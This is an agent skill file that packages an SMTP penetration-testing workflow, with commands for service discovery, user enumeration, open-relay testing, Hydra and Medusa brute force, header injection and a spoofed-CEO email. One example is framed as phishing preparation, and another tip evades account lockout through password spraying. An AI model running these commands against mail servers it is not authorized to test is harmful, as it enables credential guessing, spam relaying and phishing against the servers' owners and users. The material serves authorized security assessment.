Awesome-omni-skills smtp-penetration-testing
SMTP Penetration Testing workflow skill. Use this skill when the user needs Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration and the operator should preserve the upstream workflow, copied support files, and provenance before merging or handing off.
git clone https://github.com/diegosouzapw/awesome-omni-skills
T=$(mktemp -d) && git clone --depth=1 https://github.com/diegosouzapw/awesome-omni-skills "$T" && mkdir -p ~/.claude/skills && cp -r "$T/skills/smtp-penetration-testing" ~/.claude/skills/diegosouzapw-awesome-omni-skills-smtp-penetration-testing && rm -rf "$T"
skills/smtp-penetration-testing/SKILL.mdSMTP Penetration Testing
Overview
This public intake copy packages
plugins/antigravity-awesome-skills-claude/skills/smtp-penetration-testing from https://github.com/sickn33/antigravity-awesome-skills into the native Omni Skills editorial shape without hiding its origin.
Use it when the operator needs the upstream workflow, support files, and repository context to stay intact while the public validator and private enhancer continue their normal downstream flow.
This intake keeps the copied upstream files intact and uses
metadata.json plus ORIGIN.md as the provenance anchor for review.
AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. # SMTP Penetration Testing
Imported source sections that did not map cleanly to the public headings are still preserved below or in the support files. Notable imported sections: Purpose, Prerequisites, Outputs and Deliverables, Constraints and Limitations, Security Recommendations.
When to Use This Skill
Use this section as the trigger filter. It should make the activation boundary explicit before the operator loads files, runs commands, or opens a pull request.
- This skill is applicable to execute the workflow or actions described in the overview.
- Use when the request clearly matches the imported source intent: Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration.
- Use when the operator should preserve upstream workflow detail instead of rewriting the process from scratch.
- Use when provenance needs to stay visible in the answer, PR, or review packet.
- Use when copied upstream references, examples, or scripts materially improve the answer.
- Use when the workflow should remain reviewable in the public intake repo before the private enhancer takes over.
Operating Table
| Situation | Start here | Why it matters |
|---|---|---|
| First-time use | | Confirms repository, branch, commit, and imported path before touching the copied workflow |
| Provenance review | | Gives reviewers a plain-language audit trail for the imported source |
| Workflow execution | | Starts with the smallest copied file that materially changes execution |
| Supporting context | | Adds the next most relevant copied source file without loading the entire package |
| Handoff decision | | Helps the operator switch to a stronger native skill when the task drifts |
Workflow
This workflow is intentionally editorial and operational at the same time. It keeps the imported source useful to the operator while still satisfying the public intake standards that feed the downstream enhancer flow.
- Server software (Postfix, Sendmail, Exchange)
- Version information
- Hostname
- Supported SMTP extensions (STARTTLS, AUTH, etc.)
- Confirm the user goal, the scope of the imported workflow, and whether this skill is still the right router for the task.
- Read the overview and provenance files before loading any copied upstream support files.
- Load only the references, examples, prompts, or scripts that materially change the outcome for the current request.
Imported Workflow Notes
Imported: Core Workflow
Phase 1: SMTP Architecture Understanding
Components: MTA (transfer) → MDA (delivery) → MUA (client) Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative) Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA
Phase 2: SMTP Service Discovery
Identify SMTP servers and versions:
# Discover SMTP ports nmap -p 25,465,587,2525 -sV TARGET_IP # Aggressive service detection nmap -sV -sC -p 25 TARGET_IP # SMTP-specific scripts nmap --script=smtp-* -p 25 TARGET_IP # Discover MX records for domain dig MX target.com nslookup -type=mx target.com host -t mx target.com
Phase 3: Banner Grabbing
Retrieve SMTP server information:
# Using Telnet telnet TARGET_IP 25 # Response: 220 mail.target.com ESMTP Postfix # Using Netcat nc TARGET_IP 25 # Response: 220 mail.target.com ESMTP # Using Nmap nmap -sV -p 25 TARGET_IP # Version detection extracts banner info # Manual SMTP commands EHLO test # Response reveals supported extensions
Parse banner information:
Banner reveals: - Server software (Postfix, Sendmail, Exchange) - Version information - Hostname - Supported SMTP extensions (STARTTLS, AUTH, etc.)
Phase 4: SMTP Command Enumeration
Test available SMTP commands:
# Connect and test commands nc TARGET_IP 25 # Initial greeting EHLO attacker.com # Response shows capabilities: 250-mail.target.com 250-PIPELINING 250-SIZE 10240000 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-8BITMIME 250 DSN
Key commands to test:
# VRFY - Verify user exists VRFY admin 250 2.1.5 admin@target.com # EXPN - Expand mailing list EXPN staff 250 2.1.5 user1@target.com 250 2.1.5 user2@target.com # RCPT TO - Recipient verification MAIL FROM:<test@attacker.com> RCPT TO:<admin@target.com> # 250 OK = user exists # 550 = user doesn't exist
Phase 5: User Enumeration
Enumerate valid email addresses:
# Using smtp-user-enum with VRFY smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP # Using EXPN method smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP # Using RCPT method smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP # Specify port and domain smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com
Using Metasploit:
use auxiliary/scanner/smtp/smtp_enum set RHOSTS TARGET_IP set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt set UNIXONLY true run
Using Nmap:
# SMTP user enumeration script nmap --script smtp-enum-users -p 25 TARGET_IP # With custom user list nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP
Phase 6: Open Relay Testing
Test for unauthorized email relay:
# Using Nmap nmap -p 25 --script smtp-open-relay TARGET_IP # Manual testing via Telnet telnet TARGET_IP 25 HELO attacker.com MAIL FROM:<test@attacker.com> RCPT TO:<victim@external-domain.com> DATA Subject: Relay Test This is a test. . QUIT # If accepted (250 OK), server is open relay
Using Metasploit:
use auxiliary/scanner/smtp/smtp_relay set RHOSTS TARGET_IP run
Test variations:
# Test different sender/recipient combinations MAIL FROM:<> MAIL FROM:<test@[attacker_IP]> MAIL FROM:<test@target.com> RCPT TO:<test@external.com> RCPT TO:<"test@external.com"> RCPT TO:<test%external.com@target.com>
Phase 7: Brute Force Authentication
Test for weak SMTP credentials:
# Using Hydra hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP # With specific port and SSL hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp # Multiple users hydra -L users.txt -P passwords.txt TARGET_IP smtp # Verbose output hydra -l admin -P passwords.txt smtp://TARGET_IP -V
Using Medusa:
medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp
Using Metasploit:
use auxiliary/scanner/smtp/smtp_login set RHOSTS TARGET_IP set USER_FILE /path/to/users.txt set PASS_FILE /path/to/passwords.txt set VERBOSE true run
Phase 8: SMTP Command Injection
Test for command injection vulnerabilities:
# Header injection test MAIL FROM:<attacker@test.com> RCPT TO:<victim@target.com> DATA Subject: Test Bcc: hidden@attacker.com X-Injected: malicious-header Injected content .
Email spoofing test:
# Spoofed sender (tests SPF/DKIM protection) MAIL FROM:<ceo@target.com> RCPT TO:<employee@target.com> DATA From: CEO <ceo@target.com> Subject: Urgent Request Please process this request immediately. .
Phase 9: TLS/SSL Security Testing
Test encryption configuration:
# STARTTLS support check openssl s_client -connect TARGET_IP:25 -starttls smtp # Direct SSL (port 465) openssl s_client -connect TARGET_IP:465 # Cipher enumeration nmap --script ssl-enum-ciphers -p 25 TARGET_IP
Phase 10: SPF, DKIM, DMARC Analysis
Check email authentication records:
# SPF/DKIM/DMARC record lookups dig TXT target.com | grep spf # SPF dig TXT selector._domainkey.target.com # DKIM dig TXT _dmarc.target.com # DMARC # SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral
Imported: Purpose
Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.
Examples
Example 1: Ask for the upstream workflow directly
Use @smtp-penetration-testing to handle <task>. Start from the copied upstream workflow, load only the files that change the outcome, and keep provenance visible in the answer.
Explanation: This is the safest starting point when the operator needs the imported workflow, but not the entire repository.
Example 2: Ask for a provenance-grounded review
Review @smtp-penetration-testing against metadata.json and ORIGIN.md, then explain which copied upstream files you would load first and why.
Explanation: Use this before review or troubleshooting when you need a precise, auditable explanation of origin and file selection.
Example 3: Narrow the copied support files before execution
Use @smtp-penetration-testing for <task>. Load only the copied references, examples, or scripts that change the outcome, and name the files explicitly before proceeding.
Explanation: This keeps the skill aligned with progressive disclosure instead of loading the whole copied package by default.
Example 4: Build a reviewer packet
Review @smtp-penetration-testing using the copied upstream files plus provenance, then summarize any gaps before merge.
Explanation: This is useful when the PR is waiting for human review and you want a repeatable audit packet.
Imported Usage Notes
Imported: Examples
Example 1: Complete SMTP Assessment
Scenario: Full security assessment of mail server
# Step 1: Service discovery nmap -sV -sC -p 25,465,587 mail.target.com # Step 2: Banner grab nc mail.target.com 25 EHLO test.com QUIT # Step 3: User enumeration smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com # Step 4: Open relay test nmap -p 25 --script smtp-open-relay mail.target.com # Step 5: Authentication test hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com # Step 6: TLS check openssl s_client -connect mail.target.com:25 -starttls smtp # Step 7: Check email authentication dig TXT target.com | grep spf dig TXT _dmarc.target.com
Example 2: User Enumeration Attack
Scenario: Enumerate valid users for phishing preparation
# Method 1: VRFY smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25 # Method 2: RCPT with timing analysis smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com # Method 3: Metasploit msfconsole use auxiliary/scanner/smtp/smtp_enum set RHOSTS 192.168.1.100 set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt run # Results show valid users [+] 192.168.1.100:25 - Found user: admin [+] 192.168.1.100:25 - Found user: root [+] 192.168.1.100:25 - Found user: postmaster
Example 3: Open Relay Exploitation
Scenario: Test and document open relay vulnerability
# Test via Telnet telnet mail.target.com 25 HELO attacker.com MAIL FROM:<test@attacker.com> RCPT TO:<test@gmail.com> # If 250 OK - VULNERABLE # Document with Nmap nmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@attacker.com,smtp-open-relay.to=test@external.com mail.target.com # Output: # PORT STATE SERVICE # 25/tcp open smtp # |_smtp-open-relay: Server is an open relay (14/16 tests)
Best Practices
Treat the generated public skill as a reviewable packaging layer around the upstream repository. The goal is to keep provenance explicit and load only the copied source material that materially improves execution.
- Keep the imported skill grounded in the upstream repository; do not invent steps that the source material cannot support.
- Prefer the smallest useful set of support files so the workflow stays auditable and fast to review.
- Keep provenance, source commit, and imported file paths visible in notes and PR descriptions.
- Point directly at the copied upstream files that justify the workflow instead of relying on generic review boilerplate.
- Treat generated examples as scaffolding; adapt them to the concrete task before execution.
- Route to a stronger native skill when architecture, debugging, design, or security concerns become dominant.
Troubleshooting
Problem: The operator skipped the imported context and answered too generically
Symptoms: The result ignores the upstream workflow in
plugins/antigravity-awesome-skills-claude/skills/smtp-penetration-testing, fails to mention provenance, or does not use any copied source files at all.
Solution: Re-open metadata.json, ORIGIN.md, and the most relevant copied upstream files. Load only the files that materially change the answer, then restate the provenance before continuing.
Problem: The imported workflow feels incomplete during review
Symptoms: Reviewers can see the generated
SKILL.md, but they cannot quickly tell which references, examples, or scripts matter for the current task.
Solution: Point at the exact copied references, examples, scripts, or assets that justify the path you took. If the gap is still real, record it in the PR instead of hiding it.
Problem: The task drifted into a different specialization
Symptoms: The imported skill starts in the right place, but the work turns into debugging, architecture, design, security, or release orchestration that a native skill handles better. Solution: Use the related skills section to hand off deliberately. Keep the imported provenance visible so the next skill inherits the right context instead of starting blind.
Imported Troubleshooting Notes
Imported: Troubleshooting
| Issue | Cause | Solution |
|---|---|---|
| Connection Refused | Port blocked or closed | Check port with nmap; ISP may block port 25; try 587/465; use VPN |
| VRFY/EXPN Disabled | Server hardened | Use RCPT TO method; analyze response time/code variations |
| Brute Force Blocked | Rate limiting/lockout | Slow down (); use password spraying; check for fail2ban |
| SSL/TLS Errors | Wrong port or protocol | Use 465 for SSL, 25/587 for STARTTLS; verify EHLO response |
Related Skills
- Use when the work is better handled by that native specialization after this imported skill establishes context.@server-management
- Use when the work is better handled by that native specialization after this imported skill establishes context.@service-mesh-expert
- Use when the work is better handled by that native specialization after this imported skill establishes context.@service-mesh-observability
- Use when the work is better handled by that native specialization after this imported skill establishes context.@sexual-health-analyzer
Additional Resources
Use this support matrix and the linked files below as the operator packet for this imported skill. They should reflect real copied source material, not generic scaffolding.
| Resource family | What it gives the reviewer | Example path |
|---|---|---|
| copied reference notes, guides, or background material from upstream | |
| worked examples or reusable prompts copied from upstream | |
| upstream helper scripts that change execution or validation | |
| routing or delegation notes that are genuinely part of the imported package | |
| supporting assets or schemas copied from the source package | |
Imported Reference Notes
Imported: Quick Reference
Essential SMTP Commands
| Command | Purpose | Example |
|---|---|---|
| HELO | Identify client | |
| EHLO | Extended HELO | |
| MAIL FROM | Set sender | |
| RCPT TO | Set recipient | |
| DATA | Start message body | |
| VRFY | Verify user | |
| EXPN | Expand alias | |
| QUIT | End session | |
SMTP Response Codes
| Code | Meaning |
|---|---|
| 220 | Service ready |
| 221 | Closing connection |
| 250 | OK / Requested action completed |
| 354 | Start mail input |
| 421 | Service not available |
| 450 | Mailbox unavailable |
| 550 | User unknown / Mailbox not found |
| 553 | Mailbox name not allowed |
Enumeration Tool Commands
| Tool | Command |
|---|---|
| smtp-user-enum | |
| Nmap | |
| Metasploit | |
| Netcat | then manual commands |
Common Vulnerabilities
| Vulnerability | Risk | Test Method |
|---|---|---|
| Open Relay | High | Relay test with external recipient |
| User Enumeration | Medium | VRFY/EXPN/RCPT commands |
| Banner Disclosure | Low | Banner grabbing |
| Weak Auth | High | Brute force attack |
| No TLS | Medium | STARTTLS test |
| Missing SPF/DKIM | Medium | DNS record lookup |
Imported: Prerequisites
Required Tools
# Nmap with SMTP scripts sudo apt-get install nmap # Netcat sudo apt-get install netcat # Hydra for brute force sudo apt-get install hydra # SMTP user enumeration tool sudo apt-get install smtp-user-enum # Metasploit Framework msfconsole
Required Knowledge
- SMTP protocol fundamentals
- Email architecture (MTA, MDA, MUA)
- DNS and MX records
- Network protocols
Required Access
- Target SMTP server IP/hostname
- Written authorization for testing
- Wordlists for enumeration and brute force
Imported: Outputs and Deliverables
- SMTP Security Assessment Report - Comprehensive vulnerability findings
- User Enumeration Results - Valid email addresses discovered
- Relay Test Results - Open relay status and exploitation potential
- Remediation Recommendations - Security hardening guidance
Imported: Constraints and Limitations
Legal Requirements
- Only test SMTP servers you own or have authorization to test
- Sending spam or malicious emails is illegal
- Document all testing activities
- Do not abuse discovered open relays
Technical Limitations
- VRFY/EXPN often disabled on modern servers
- Rate limiting may slow enumeration
- Some servers respond identically for valid/invalid users
- Greylisting may delay enumeration responses
Ethical Boundaries
- Never send actual spam through discovered relays
- Do not harvest email addresses for malicious use
- Report open relays to server administrators
- Use findings only for authorized security improvement
Imported: Security Recommendations
For Administrators
- Disable Open Relay - Require authentication for external delivery
- Disable VRFY/EXPN - Prevent user enumeration
- Enforce TLS - Require STARTTLS for all connections
- Implement SPF/DKIM/DMARC - Prevent email spoofing
- Rate Limiting - Prevent brute force attacks
- Account Lockout - Lock accounts after failed attempts
- Banner Hardening - Minimize server information disclosure
- Log Monitoring - Alert on suspicious activity
- Patch Management - Keep SMTP software updated
- Access Controls - Restrict SMTP to authorized IPs